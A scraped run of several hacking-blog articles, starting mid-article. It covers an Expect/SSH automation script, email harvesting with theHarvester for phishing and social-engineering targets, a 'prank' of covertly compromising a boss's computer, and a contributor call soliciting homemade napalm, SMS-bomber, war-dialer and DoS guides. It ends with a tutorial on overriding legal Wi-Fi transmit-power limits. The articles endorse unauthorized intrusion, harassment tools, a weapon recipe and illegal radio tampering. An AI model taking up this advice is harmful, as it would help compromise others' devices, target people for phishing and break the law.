the Bash script.First, it starts with the standard shebang (#!), theusr/bin/expect, and tack f (-f); this just forces the Expect interpreter to be used for the rest of the script.Next, wesetatimeoutof20seconds, so the script times out after that amount of time. Then, we have theset ipline, which takes the first argument passed to expect.sh, and that would be the arp-scan results in trigger.sh — the Raspberry Pi's IP address. Thelindex $argv 0just tells it to look for the first argument passed, and it starts with zero, which is important to remember.We then have theset userline, which looks for the second argument passed, in this case,root. After that, theset passwordline looks for the third argument passed, in this case, the user's password that was supplied to trigger.sh.Now things start getting interesting. Expect scripts can spawn processes, and here we're spawning an SSH process (spawn ssh) and using the variables the same way we would in Bash pretty much. It takes the$uservariable, root, then adds@with the$ipvariable, the Pi's IP address. That's how it connects to the Pi. Then, as soon as it gets logged in, it issues arebootcommand.However, before all that can happen, we need to use theexpectpart of the script, where we are looking for something that is basically coming to us and typing the stringassword. That's funny, but there's a reason we do that. If it is a capital "P" or a lowercase "p," it really doesn't matter depending on what server it is. It's always going to ask us for a password. So unless it's in all caps, which is a little bit less probable, then we're likely to get most of the different ways of asking us for a password.So what the script is doing is expecting a request, or a text string, to say "password" or "Password." If it gets that, then it goes ahead and sends the result, which, in our case, is the password the user typed way back at our Bash script. Theinteractline puts the whole script into play.You Can Do a Lot with Expect ScriptsExpect scripts are not interactive, so we have to use Bash scripts to pass in information. For example, we can't have user input directly in this expect script. It's very annoying that we can't, so as a result, it works very well to have a Bash script that gathers all the information you need, passes it to an expect script, and then that expects script will automate something.Overall, expect scripts are handy for creating chatbots or dealing with anything where you have an input you're expecting and a response you want to automate. Now, combined with Bash scripts, you can automate all sorts of powerful tools, so this is just a beginning, and I hope you can use it to create some really interesting automations.Don't Miss:How to Write Your Own Bash Script to Automate ReconWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Retia/Null ByteRelatedHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckySPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Spy on SSH Sessions with SSHPry2.0How To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Create an SSH tunnel for your Mac Mini serverHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHow To:Haunt a Computer with SSHHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Automate Brute-Force Attacks for Nmap ScansRasberry Pi:Connecting on ComputerHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Access & Control Your Computer Remotely Using Your iPhoneHow To:Use Common Features of Windows Command PromptHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Easily Detect CVEs with Nmap ScriptsHow To:Access & Control Your Computer Remotely with Your Nexus 5Hacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Perform Network-Based Attacks with an SBC ImplantHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Remotely Control Computers Over VNC Securely with SSHHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHNews:The Money Making MacroNews:Remote Control Demolition Derby IllusionNews:Hide & Seek Airbag ExplosionNews:Underwater Remote Operated VehicleNews:New AF100 Remote Helicopter FootageNews:In Just a Clik, Turn Your Smartphone into a YouTube Remote for Any Web DisplayUDP Flooding:How to Kick a Local User Off the NetworkHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop It
How to Scrape Target Email Addresses with TheHarvester « Null Byte :: WonderHowTo
Open-source data scraping is an essentialreconnaissance toolfor government agencies and hackers alike, with big data turning our digital fingerprints into giant neon signs. The problem is no longer whether the right data exists, it's filtering it down to the exact answer you want. TheHarvester is a Python email scraper which does just that by searching open-source data for target email addresses.In manysocial engineeringor recon scenarios, you'll want to find email addresses for a person or members of an organization. There are many reasons for this depending on your goal, whether as targets for technical attacks or as a way to contact the target by email.Some uses of email scraping data include provoking a response from a target, presenting a service, sending a phishing email, or generating a list of employees to pretend to be. Sometimes, you will only need to learn that particular organization's email formatting to guess what another email account would for a particular user.Today, I'll teach you to begin searching for emails like an OSINT researcher with the classic tooltheHarvesterfor macOS (or Mac OS X) and Kali Linux.Open-Source Research TodayOpen-source intelligence (OSINT) is the branch of intelligence that relies on searching unclassified data to build a picture of a target. Private companies have advanced this art into a science, with police and intelligence forces routinely buying software tools from private vendors that source data from public APIs to build invasive profiles on targets. These toolsare used to skirt laws on data collection against protestersand can return more information that the subject may know or remember about themselves.Hackers use frameworks likeMaltegoto build detailed profiles of targets by pulling from APIs to notice patterns. In Maltego,transformslikelike SocialLinkscan be run against a person to find their close friends and associates without setting foot outside.Don't Miss:How to Use Maltego to Do Network ReconnaissanceOSINT as a Pentesting ToolMy tutorials will cover a number of ways to track, gather, analyze, and act on data left in public databases by a target. Police, intelligence agencies, and scam artists use data as a weapon, and my tutorials on Maltego, the Operative Framework, and other OSINT tools will prepare you to know more about a target than they know about themselves, to support bold social engineering strategies that require detailed information to pull off.Even with modest results, social engineering attacks can benefit from increasingly specific tidbits of data strung together in a way to make it seem as though you have much more information than you really do about a target. Conversely, a target that yields volumes of information about their activities may support a "we know all"-style tactic where you convince them you already know all the details of their organization.Either tactic lowers the target's inhibitions when discussing things they possibly shouldn't be sharing since they assume you already have the information. This is why phone scams based off of data scraping tools like these frequently fool victims into giving personal information over the phone to scammers who present personal details about the victim while pretending to be from another business.Prime Targets — Groups Vulnerable to the HarvesterOrganizations usingPGP, such as journalists or anyone sending and receiving encrypted emails, are very easy to find in theHarvester. I was able to download a detailed list of The Guardian's journalists with a single string.Searching through the PGP key server for information on organizational email addresses.Organizations using encrypted mail like the Electronic Frontier Foundation (EFF) are also prime targets. The following identifies individual members and the formatting for official email addresses.PGP key search in progress locating organizational email addresses.The Harvester can also pull up associated domains and hostnames of a target. We are able to probe for more information about the domain, subdomain, and organization. In this case, we learned about a hostname IP.Here, we even get some unanticipated and useful information.Using the HarvesterAnd now that you know a little bit about OSINT, theHarvester, and what it can do, let's get into actually using theHarvester on your system to scrape email addresses.Step 1: Install theHarvester (macOS)If you're using Kali, hit up the next step for instructions on installing theHarvester. Otherwise, if you're on macOS or Mac OS X, make sure you haveXcodeinstalled, then run the following in a terminal window:ruby -e "$(curl -fsSLhttps://raw.githubusercontent.com/Homebrew/install/master/install)" < /dev/null 2> /dev/null— (Those big spaces above are just one space, FYI.)Press enter and wait for the command to finish. When it's done, run:brew install theharvesterAfter that, run the following command to confirm that it's working.theharvesterStep 2: Install theHarvester (Kali Linux)For a minimal footprint, theHarvester works great onour Kali Pi. Of course, any Kali system will work, too.The Kali Pi is a great OSINT platform.Image by SADMIN/Null ByteOn Kali Linux, run theHarvester in a terminal window to see if it's installed. If not, you'll see:You can sometimes runapt-get theharvesterand Kali will fetch this for you, but in my case, it didn't work. So instead, clone it directly and confirm the installation by running the following in terminal.git clonehttps://github.com/laramies/theHarvester.gitcd theHarvestersudo python ./theHarvester.pyGetting theHarvester on Kali Linux, as easy as eating pancakes.Step 3: Search for Emails Using theHarvesterTo initiate a harvester search, you'll need to spell out a couple variables for the script to understand. With each command, theHarvester will run searches on multiple platforms to find email addresses and websites related to the organization or domain you specify. If you have a screen name for your target, this will suffice. In this case, our target is WonderHowTo.The most simple search you can run looks like this:theHarvester.py -d wonderhowto.com -b all -l 200In the script, we're telling it to pull from all data sources and to limit the results to 200 results.The most simple harvest you can run — pulling from all data sources.Step 4: Search with More Advanced TacticsSometimes this is enough. If it's not, we can turn up the volume at the risk of an API getting upset at us for making too many queries. On a Mac, excessive (or sometimes any) queries to the Bing API can cause the script to crash, requiring you to run queries sequentially rather via theallargument.In total, the available arguments to refine your searches include:-d:Domain to search or company name.-b:Data source: baidu, bing, bingapi, dogpile, google, googleCSE, googleplus, google-profiles, linkedin, pgp, twitter, vhost, yahoo, all.-s:Start in result number X (default: 0).-v:Verify host name via DNS resolution and search for virtual hosts.-f:Save the results into an HTML and XML file (both).-n:Perform a DNS reverse query on all ranges discovered.-c:Perform a DNS brute force for the domain name.-t:Perform a DNS TLD expansion discovery.-e:Use this DNS server.-l:Limit the number of results to work with (bing goes from 50 to 50 results, google 100 to 100, and pgp doesn't use this option).-h:Use SHODAN database to query discovered hosts.In some cases, our more invasiveallquery will have turned up nothing new, so we can take to another tactic to pry more information out of the internet. Using the-sargument to ignore false-hits within the first few results by specifying how far back in the results can help, as can running a deep scan of 1,000–5,000 results on each engine individually, can yield additional data on a target.If you hit on valuable results, you can save them to an HTML file using the-foption followed by the name to save the file as. A note about accuracy: theHarvester is a database scraper, it doesn't pull these from the domains directly, and thus it's passive. The result, however, is that it can not validate the results, so you may get some fake results mixed in. Sometimes these can be easily spotted, sometimes it takes some scrutiny.As a researcher, you need to think critically and understand the tools you are using so you can sort fact from fiction. Can you spot emails that might not be legitimate in the following pull?Everything looks totally legit here.TheHarvester Is Only the BeginningNow that you have an email or two, you can begin to build profiles on these targets by plugging the data into other database search tools like Maltego, or even Facebook and LinkedIn networks. Social media accounts, work presentations, domain names, and screen names can all be correlated with some data from theHarvester. While theHarverster may not always return results, it's a valuable data-scraping tool in particular for email addresses hosted on private domains or in cases where a business name or screen name is known.Improving Your ResultsLearning to think like an open-source intelligence researcher will help you take each piece of data to find new ones and weave pieces of information together to build a profile of a target. Each use of theHarvester should be viewed as an investigation with the intention of answering a question. Ensuring you are asking the right question, in the right way, is an important part of getting the right results from your query. If you're not sure what you're looking for, you may often find nothing.Stay tuned for more on open source intelligence collection! You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Extract Email Addresses from an SMTP ServerFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Scrape Craigslist for emailsHow To:Use Photon Scanner to Scrape Web OSINT DataHack Like a Pro:The Ultimate Social Engineering HackNews:Whoops! Feds Accidentally Reveal Snowden as Their Email Spy TargetHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Get Alerts for When Your Local Apple Store Has an iPhone 6 in StockHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameVideo:How to Use Maltego to Research & Mine Data Like an AnalystHack Like a Pro:How to Extract Email Addresses from an SMTP ServerAdvanced Phishing:How to Inject Meetings into Anyone's Google CalendarHow To:Conduct Recon on a Web Target with Python ToolsHow To:Hack a Skype PasswordHow To:Add or Remove Email Addresses to Be Reached At for FaceTime on Your iPhoneHow To:Quickly Look Up the Valid Subdomains for Any WebsiteHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Cloak Your Private Email Address into an Anonymous, Disposable One with GliphHow To:Hide @iCloud, @Me & Custom Aliases from Your Mail App's 'From' Field on Your iPhoneHow To:Change Your FaceTime Caller ID to an Email Address or Phone NumberHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)How To:Fix Your Notification Settings in Google+ PagesNews:Learning (and Teaching) The Use of BCC in EmailsNews:ShouldIChangeMyPassword.comHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:INCREDIBLE LANDSCAPES, "Beyond the Mundane" Photography Competition - Deadline February 28, 2011News:BIRD PORTRAITS, "The Avian Persona" Photography Competition - Deadline January 31, 2011Don't Get Doxed:5 Steps to Protecting Your Private Information on the WebNews:Basic Email EtiquetteNews:Why we shouldn't rush the job searchNews:Mobile Game Developer Fined $50,000 by FTC for Soliciting Emails from MinorsHow To:Really Connect Your Words with Friends Mobile Account to FacebookHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Obama supports drone attacksNews:Wild Mustang Problems?News:Nextdoor Brings Private Social Networks to a Neighborhood Near YouNews:TIME for Kids Photo Contest - Deadline March 31, 2011News:Official Phone Snap! Challenge RulesNews:Them's the Rules!
Hack Like a Pro: Use Your Hacking Skills to Haunt Your Boss with This Halloween Prank « Null Byte :: WonderHowTo
Welcome back, my amateur hackers!With Halloween right around the corner, I thought you could have a little fun with your newfound hacking skills using a hack that is guaranteed to freak out your boss, teacher, coworker, friend, etc.Any time someone's computer seems to act on its own volition, it tends to freak people out. When it acts on its own volition and opens up the user's own obituary (death notice), we are sure to get a decent reaction.Don't Miss:How to Haunt Your Boss's Computer & Drive Him InsaneIn this hack, we will create an obituary for our victim, then open their web browser right to it so that it appears as if the computer is haunted. It is certain to make them feel like something unearthly is happening.Step 1: Fire Up KaliThe first step, of course, is to fire upKali. I'm using Kali 1.1, but you can use any version of Kali for this hack.Step 2: Exploit the Victim's ComputerBefore we do anything, we need to own the victim's computer.There are many ways to exploit their computer. Since we are likely on the same network as the victim (how else will we be able to enjoy their reaction if we are not nearby?), it makes it even easier. If we have physical access to system, even for a few seconds, we could install aMetasploitpayload orNetcatin a few seconds.Below is a list of just a few ways (with instructions) to exploit your victim's system for this ghoulishly good Halloween prank.Using a malicious PDFUsing a malicious Word .docUsing Flash-based exploitsHooking the browser with BeEFUsing a man-in-the-middle attackUsing a malicious link fileUsing a malicious Windows Media Center link (.mcl)And there are many more. Take a look through my many tutorials here on Null Byte and you will find almost innumerable ways to compromise somebody's computer.Step 3: Build an ObituaryNow that we have compromised the victim's computer, let's build their obituary. There are numerous free website/blog builders out there such asBlogger,Weebly,Wix,WordPress, etc. In this case, I built an obituary using the free website builder,WordPress.I hope it goes without saying, build your own obituary for your own victim. Mine is simple and only meant as a example. You might want to put in some personal details about your victim that would make it seem more realistic, maybe even humorous.Step 4: Direct Their Browser to the URLNow that we have the victim's obituary built, the next step is to open their web browser to their own obituary page.Since we have a command prompt on the remote system, we can simply start Internet Explorer to open the URL of the obituary (you can use Firefox just as easily). For more info on using the CMD prompt on a remote system, seemy article here.To open their Internet Explorer, I need to navigate to the directory of IE.c:\cd c:\Program Files(x86)\Internet ExplorerNow, to open their IE browser to his/her obituary, I can simply type:c:\Program Files (x86)\Intenet Explorer\iexplore https:/bossobit.wordpress.comIf the browser opening on its own as if haunted doesn't freak them out, seeing their own obituary online certainly will.Keep coming back, my amateur hackers, to continue to learn the techniques and tools of the future's most valuable skill set—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHack Like a Pro:How to Haunt Your Boss's Computer & Drive Him InsaneHow To:5 Halloween Prank Ideas You Must TryNews:How to Make a 'Magic Crystal Ball' Talking Hologram for HalloweenHow To:Decorate a haunted house for HalloweenBloody Envelope:Last-Minute Halloween PrankHow To:Get into the Halloween Spirit with These Horrific Apps and Games for Your SmartphoneNews:Developer Conjures Virtual Haunted House with ARCoreHow To:3 Creepy Halloween Pranks You Must Do on Oct. 31stHow To:Pull Off the "Finger Food" Prank on HalloweenHow To:Make a haunted gingerbread house for HalloweenHow To:Hack a prop ghost to fly continuously for HalloweenNews:Mobile Developer Within Tells Interactive Halloween Tales via Wonderscope AR AppHow To:Make old fence panels for a Halloween haunted houseHow To:Infect Your Friends with Zombie PunchHow To:Set Up the Bloody Mirror PrankNews:Best Halloween Costume EverHow To:This DIY Annabelle Doll Costume from the Conjuring Will Haunt Your HalloweenHow To:Pull Off the "Spider Above the Door" PrankThe Light Switch Prank:Perfect for HalloweenNews:How to Study for the White Hat Hacker Associate Certification (CWA)Halloween Food Hacks:Make an Icy-Cold, Bloody HandHow To:Set Up a Jack-O'-Lantern Prank for HalloweenHow To:Really Scare Trick-or-Treaters on HalloweenHow To:Make a Spiderman gun for HalloweenHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Create an eerie watercolor background for a Halloween cardHow To:Become a Computer Forensics Pro with This $29 TrainingHow To:Build a DIY reverse flow coffin fog chiller for Halloween or a filmHow To:Get SwiftKey's All-Black Ninja Themes for FreeHow To:Build a Halloween troll propHalloween Food Hacks:How to Play the Withered Corpse GameNews:Farmville Halloween ThemeNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:Carve a Halloween Pumpkin or Jack-O-LanternNews:Haunted HouseHorror Photography Challenge:The "Haunted" Cresent HotelHowTo:Prank Your Co-Workers With Bloody WoundsWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:FarmVille Haunted HouseNews:Blaze Boss in Minecraft
Weekend Homework: How to Become a Null Byte Contributor (1/29/2012) « Null Byte :: WonderHowTo
We're officially seeking Null Byters on a weekly basis who are willing to take the time to educate the community. Contributors will write tutorials, which will be featured on the Null Byte blog, as well as the front page ofWonderHowTo(IF up to par, of course). There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking top-notch! You can write tutorials on any skill level, and about anything you feel like sharing that is related to tech, hacking, psychology and social manipulation—or whatever other life hacks you think mesh with our community.Can I Help in Another Way?This isn't inclusive of tutorials, even if you simply post useful links and articles to thecorkboard, you are doing the community ahugefavor, because at some point, someone will need the information you have provided. Let's continue to make Null Byte the bestforumever by stuffing it with the latest and greatest hacking tutorials and topics.If you have skills and want to share knowledge on any of the topics below, please leave a response in the comments with which topic you would like to write,post directly to the corkboard, or message me privately. If you have any additional ideasat all, please submit them below.This Weeks TopicsHow to Nmap from Behind a Proxy—Teach users how to Nmap from behind a proxy to mask traffic. I would also love if you added in BASH proxying, since the two are similar.Guide to Asking Questions—Teach the new Null Byters how to ask questions and what we expect before being asked a question (the person researched the topic beforehand, isn't just being lazy, etc).How to Make Homemade Napalm(The Bird AndBear, Pending)—Teach users how to make Napalm with home supplies. If you need to know how it's done, just ask me.How to Code a War Dialer in Python Using Gvoice API—Again, if anyone needs the concepts, just ask me how and I will tell you how it's done and help you when you need it. Create a program to call people using Google voice and hang up (major points if you can push audio through from a local sound file when they pick up!).How to DOS Attack a Windows Media Share—Code an exploit to engage in a DOS attack against a Windows box running a media share. A successful DOS is when legitimate users cannot use the resources. This is simpler than you may think, inquire for details for proof-of-concept.Learn How to Make a USB Hacksaw(Mr F)—Make a guide on how to create a USB hacksaw, which is a PnP USB device that copies sensitive files from the host machine automatically.Guide to Binary Numbers(Mr F)—This guide should explain how binary works, hex conversion, decimal, and more. Explain the importance of them and their roles in computing.A Brief Overview of Hacking History—Drop a few of the big names and people who started it all in a short outline of what hackers are and where they come from. Name some big time exploits and hacking stories to make it interesting.Create an SMS Bomber with the Gvoice API—Teach users how to code a SMS spammer/bomber in Python. Bonus points if you make it threaded. You can use libraries, but a tip of my hat to those who don't.A Simple Port Scanner in Python—Educate the forum on how to create a port scanner in the Python programming language. You should teach the concepts behind port scanning before you get into the code portion of it. If you add SYN stealth scanning to it, you're extra cool.How to Remove Windows Viruses with Linux(Mr F)—Make a tutorial on how to use clamav to remove Windows viruses using Linux. You should explain why we would use this and what situations that this would be helpful in.How to Create an Image Uploader in Python—Teach the community how to make a command line image uploader in Python using the Imgur API.How to Make a Cantenna—Make a hands-on guide on how to make the infamous cantenna, which is a high-gain Wi-Fi antenna made from a few house-hold supplies—namely, a Pringles can.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viacharlesayoubRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (03/21 - 03/27)How To:Things to Do on WonderHowTo (02/15 - 02/21)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (01/25 - 01/31)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)How To:Things to Do on WonderHowTo (11/23 - 11/29)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (02/29 - 03/06)How To:Things to Do on WonderHowTo (03/07 - 03/13)Farewell Byte:Goodbye Alex, Welcome AllenNews:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?News:Ni No Kuni Coming To The US!News:A New Ink & Paint!Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:2012 Film Festival Submission DeadlinesHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Null CommunityA Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Run a Virtual Computer Within Your Host OS with VirtualBox
How to Set Your Wi-Fi Card's TX Power Higher Than 30 dBm « Null Byte :: WonderHowTo
Do you have an Alfa AWUS036NH Wi-Fi adapter that claims it can go to 2000 mWs, or some card that can supposedly transmit power over 1000 mW? If so, you may have run into problems setting your card's TXPOWER higher than 30 dBm, which is about 1000 mW. Well, I will show you how to break that barrier and go as high as you want!WARNINGRemoving all restrictions is illegal in the United States. This tutorial is only for educational reasons, and if you choose to apply it and break the law, then that is your choice and not mine. Please be careful putting this into action.Changing Your Wi-Fi Card's TX PowerA while ago,OccupyTheWebposted an article onhow to create an evil twin. In this article, OTW pointed out one use for increasing the TXPOWER, such that we can overwhelm local APs so that a user may connect to our AP instead of the authentic AP. OTW showed you how to set your TXPOWER all the way to 30 dBm, or 1 full watt, or 1000 mW.I'm going to quickly review the commands to do so:iw reg set BOiwconfig wlan0 txpower 30If you try to go over 30, though, you will get an error.What happens is that the iw reg set command reads the regulatory database for the country that you specified (BO) and comes back with the rules for that country. In Bolivia, the rules are that you can set your txpower to 30 dBm and no more, but if we were to change those rules, we could change how much we can increase it to.So without further delay, let's get into how to change that!NOTE: KALI users have to do it just a tad bit differently. Go to Step 7 to learn what the differences are. The differences occur in Steps 4 through 6.Step 1: Install PackagesFor this to work, we need to install a couple packages first, and those packages are as follows:python-m2cryptolibgcrypt11libgcrypt11-devlibnl-devSo, let's make sure those are installed:apt-get install python-m2crypto libgcrypt11 libgcrypt11-dev libnl-devAs you can see, mine were already installed. Yours, however, may not be.Step 2: The FilesNow we need to download the CRDA files and the wireless regulatory database files. We can download those from here:CRDAWireless-regdbDOWNLOAD THE LATEST VERSIONSWhen downloading CRDA, you probably will only have one choice of the latest version, but when downloading the wireless-regdb, you will see they have different extensions: .bz2, .gz, .sign, and .xz. You want the .bz2 version for this tutorial.At the time this tutorial was made, the latest version for each is as follows:CRDA-1.1.3.tar.bz2wireless-regdb-2013.10.11.tar.bz2Now navigate to where you downloaded those files and lets unzip them. I put the two files on my desktop. Once you are in the directory of the files, unzip them like so:tar xvjf {full name of your file}And you'll do that for each file.You should now have two new folders in the directory that you had them in.Step 3: I Make My Own RulesNow here is the interesting part. This is where we actually get to change the regulations. Change your directory to the wireless-regdb folder, and in there you will find a file calleddb.txt. This is the file we will edit. Let's take a quick look at it.more db.txtNow let's take a look at a few things here. Look at what I underlined above. First, let's notice the first entry, country 00, which is the world regulatory domain and this is applied before all else. So when you turn on your BackTrack system, the world domain is applied to you first and then you can change regulatory domains from there to other countries like country AM.The second thing I underlined, which can go a max of 20 dBm, the third thing I underlined, on the 2.4ghz band. If you wanna change how high you can go, that is the number you want to change.For example, let's change Bolivia's rules.nano db.txtScroll down until you find country BO.Look at what I highlighted. This is the number we want to change.If your card can go up to 2000 mW, then you would change that number to 33, which stands for 33 dBm, which is approximately 2000 mW. The number you are replacing is in decibels, so you choose how much you want. There is no limit computer-wise, but be careful, the stronger the transmission power, the more dangerous it can get for your health. Don't have the antenna in your mouth while transmitting at 2 watts or you may get cancer.UPDATE: Some wireless cards like the AWUS036NHA may be stuck in a country and cannot be changed from that country. In that case, Find out which country your card believes it is in and change that country's configurations.QUICK DECIBEL UNDERSTANDING:Every 10 decibels is a 10X increase in power starting from 1 dBm equal to 1mW... 10 dBm equals 10 mW, 20 dBm equals 100 mW, 30 dBm equals 1000 mW, and so on. Every 3 decibels is approximately double that of the prior power, so 30 dBm is 1000 mW, if we add 3 dBm, then we can double the power such that 33 dBm is about equal to 2000 mW.Notice now I changed the number to 33. When we are finished here, when I change my regulatory domain to BO, i can set my txpower to 33.Now save the changes when you are done by pressing first,Ctrl+X, thenY, and finally,Enter.Step 4: SwapNow we need to swap our old regulatory file with our new one. While still in the wireless-regdb directory, just enter the command make.makeYou'll notice you have some new files now in that directory. This is good.Our regulatory.bin file in this directory now needs to be replaced with the old one.First navigate to the authentic regulatory.db's location.cd /usr/lib/crdaAnd let's also make a backup of the old one just in case.mv regulatory.bin regulatoryOLD.binNow let's bring in the new one. Go back to your directory of our new regulatory.bin and let's copy it over and verify it's there.cd {path to your new regulatory.bin}cp regulatory.bin /usr/lib/crda/regulatory.bincd /usr/lib/crdalsAnd see my new regulatory.bin in there with the old one.Step 5: ValidatingNow we have our new regulatory.db, but it is not valid yet. Go back to the wireless-regdb directory and you'll notice you have some files with an extension of .pem. Copy ANY and ALL files ending with a .pem into your downloaded crda directory in pubkeys. These are the files that crda will use to check if regulatory.bin is valid.cd ~/Desktop/wireless-regdb-2013.10.11cp root.key.pub.pem ~/Desktop/crda-1.1.3/pubkeys/root.key.pub.pemcp linville.key.pub.pem ~/Desktop/crda-1.1.3/pubkeys/linville.key.pub.pemAnd verify:cd ~/Desktop/crda-1.1.3/pubkeyslsLooks good! We have just one more step now.Step 6: The Final StepNow go up a directory from where you are back to the downloaded crda directory and install this puppy. On BackTrack, I ran into a problem just doing straight up make install, so you should make first.cd ..makemake installIf all goes correctly, your screen should look just like mine. Now justrebootyour computer, change your regulatory domain to BO, and turn that puppy up!After reboot:iw reg set BOiwconfig wlan0 txpower 33If you try txpower at 33 without changing the domain, you get an error, but once you change your regulatory domain you are good to go!And that's all you need to know on BackTrack!Step 7: KALI UsersThis fix will actually work for ANY Linux distribution, so long as you are smart and know how to adapt to different systems.First off, make sure you are completely updated.apt-get updateapt-get upgradeAnd then you can do Step 1, if you have any problems.Step 8: ChangesSo once you get to Step 4, Kali users will come to a problem. Kali users do not have theusrdirectory. INSTEAD, the old regulatory bin is located in /lib/crda. If you are a Kali user, then the commands for Step 4 will change as follows:makecd /lib/crdamv regulatory.bin regulatoryOLD.bincd {path to your new regulatory.bin}cp regulatory.bin lib/crda/regulatory.bincd lib/crdalsStep 9: ChangesStep 5 just has one little added step.You, Kali user, have one extra .pem file hiding in the original directory. I'm actually not too sure if this is necessary, but we're gonna cover our bases just in case. Navigate to /lib/crda/pubkeys and copy the [email protected], as well into your downloaded crda directory, ALONG WITH the other .pem files from the wireless-regdb directory.Added step:cd /lib/crda/pubkeyscp [email protected] ~/Desktop/crda-1.1.3/pubkeys/[email protected] 10: ChangesThis step is more complicated for you, Kali user. You need to open and edit the Makefile inside the downloaded crda directory.nano MakefileLook at the 3rd line in the make file. Do you see how it saysREG_BIN?=/usr/lib/crda/regulatory.bin, remember how I said that Kali does not have a /usr directory? Well, all you have to do is change that line 